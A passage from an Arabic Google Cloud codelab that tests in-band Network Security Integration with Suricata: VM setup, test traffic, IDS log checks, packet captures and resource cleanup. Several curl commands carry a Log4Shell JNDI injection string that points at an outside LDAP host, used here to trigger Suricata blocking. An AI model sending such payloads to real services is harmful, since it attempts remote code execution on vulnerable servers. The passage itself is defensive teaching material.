gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

اختبار ميزة "دمج أمان الشبكة" داخل النطاق

  1. افتح SSH في الجهاز الظاهري في $zonea (consumer-$zonea). إرسال عدد زيارات تجريبي:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. أرسِل زيارات اختبارية إلى http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

الناتج المتوقّع:

200

يشير رمز الحالة HTTP 200 إلى أنّ الخادم تلقّى طلب العميل وفهمه وعالجه بنجاح.

  1. إرسال طلبات log4j التي من المفترض أن يحظرها Suricata من خلال NSI
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

الناتج المتوقّع:

000

رمز الاستجابة 000 HTTP هو رمز غير رسمي وغير معياري تستخدمه بعض البرامج للإشارة إلى أنّه لم يتم تلقّي رمز حالة HTTP صالح. من المحتمل أنّ هذا يعني أنّ جدار الحماية حظر الطلب.

  1. الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit
  1. استخدام بروتوكول النقل الآمن (SSH) للوصول إلى الجهاز الافتراضي في $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. وبالمثل، أرسِل حركة مرور اختبارية:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

الناتج المتوقّع:

200
  1. إرسال طلب log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

الناتج المتوقّع:

000
  1. الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit
  1. استخدام بروتوكول النقل الآمن (SSH) في الجهاز الافتراضي في $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. وبالمثل، أرسِل حركة مرور اختبارية:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

الناتج المتوقّع:

200
  1. إرسال طلب log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

الناتج المتوقّع:

200

لاحظ أنّ هذا الطلب قد تمّت معالجته. هذا أمر متوقّع لأنّك لم تضبط NSI باستخدام $zonec. لا تتضمّن مجموعة نقاط نهاية الاعتراض سوى عمليات ربط للنطاقَين $zonea و $zoneb.

  1. الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit

التحقّق من أنّ Suricata تلقّى الطلبات الضارة وحظرها

  1. استخدِم بروتوكول SSH للدخول إلى الجهاز الافتراضي Suricata في $zonea (suricata-$zonea) للتحقّق من السجلات:
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. عرض السجلّات التي تمّت فلترتها حسب نوع الهجوم:
cat /var/log/suricata/eve.json | grep log4j

قد تظهر لك بعض الإدخالات. إذا لم تظهر لك أي إدخالات، راجِع السجلات الخاصة بالجهاز الافتراضي Suricata في $zoneb. مثال على الناتج:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit

يمكنك اختياريًا استخدام بروتوكول SSH في الجهاز الافتراضي Suricata في $zoneb (suricata-$zoneb) والتحقّق من السجلّات.

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

عرض السجلّات التي تمّت فلترتها حسب نوع الهجوم:

cat /var/log/suricata/eve.json | grep log4j

مثال على الناتج:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

بالإضافة إلى ذلك، يمكن أن تكون عمليات التقاط حِزم البيانات طريقة جيدة لعرض حركة المرور والتحقّق من صحتها.

سيؤدي هذا الأمر إلى فلترة حِزم GENEVE. نموذج الأمر:

sudo tcpdump -i any -nn udp port 6081

الآن، أرسِل بعض الزيارات الاختبارية من جهاز افتراضي للمستهلك. مثال على الناتج:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

لاحظ أنّه باستخدام tcpdump، يمكنك الاطّلاع على عناوين GENEVE. عنوان IP المصدر هو عنوان بوابة الشبكة الفرعية (10.0.0.1)، وعنوان IP الوجهة هو عنوان قاعدة إعادة التوجيه (10.0.0.11 أو 10.0.0.12). تحتوي الحِزم المغلفة على الحِزم الأصلية، أي عنوان IP الخاص بالعميل في consumer-$zonea (192.168.0.2) أو consumer-$zoneb (192.168.0.3) والوجهة google.com. يؤكّد ذلك أنّه يتم اعتراض الحِزم وإرسالها إلى الجهاز التابع لجهة خارجية من خلال ميزة "دمج أمان الشبكة".

  1. الرجوع إلى Cloud Shell من خلال الخروج من جلسة SSH
exit

تهانينا لقد تمكّنت من نشر بيئة تتضمّن ميزة "دمج أمان الشبكة ضمن النطاق" (NSI) واختبارها بنجاح.

5- تنظيف

المستهلك

احذف الأجهزة الافتراضية للمستهلكين باتّباع الخطوات التالية:

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

حذف ربط جدار الحماية والسياسة:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

حذف مجموعة ملفات تعريف الأمان وملف تعريف الأمان:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

حذف ربط نقطة النهاية ومجموعات نقاط النهاية التي تم اعتراضها:

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

حذف Cloud NAT وCloud Router وعنوان IP المحجوز

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

حذف شبكة VPC والشبكات الفرعية

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

منتِج

حذف عمليات نشر الاعتراضات:

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

حذف مجموعة نشر اعتراضية (يجب الانتهاء من حذف عمليات النشر الاعتراضية قبل أن ينجح هذا الأمر):

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

حذف قواعد إعادة التوجيه:

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

حذف عنوان IP المحجوز لقاعدة إعادة التوجيه:

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

لحذف خدمة الخلفية، اتّبِع الخطوات التالية:

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

حذف مجموعات الأجهزة الافتراضية غير المُدارة:

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

لحذف فحص حالة التجربة، اتّبِع الخطوات التالية:

gcloud compute health-checks delete nva-hc -q

احذف الأجهزة الافتراضية الخاصة بـ Producer باتّباع الخطوات التالية:

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

احذف Cloud NAT وCloud Router وعنوان IP المحجوز:

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

احذف ربط سياسة جدار الحماية باتّباع الخطوات التالية:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

احذف سياسة جدار الحماية باتّباع الخطوات التالية:

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

حذف شبكة VPC والشبكة الفرعية

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. تهانينا!

تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز لعملية دمج أمان الشبكة (NSI) ضمن النطاق باستخدام Suricata.

شاهِد فيديوهات توضيحية خاصة بالمورّدين حول عملية دمج أمان الشبكة (NSI) ضمن النطاق:

Palo Alto Networks

Fortinet

اطّلِع على بعض أدلة النشر الخاصة بالمورّدين والتي قد تكون ذات صلة بمؤسستك:

Palo Alto Networks

Fortinet

Checkpoint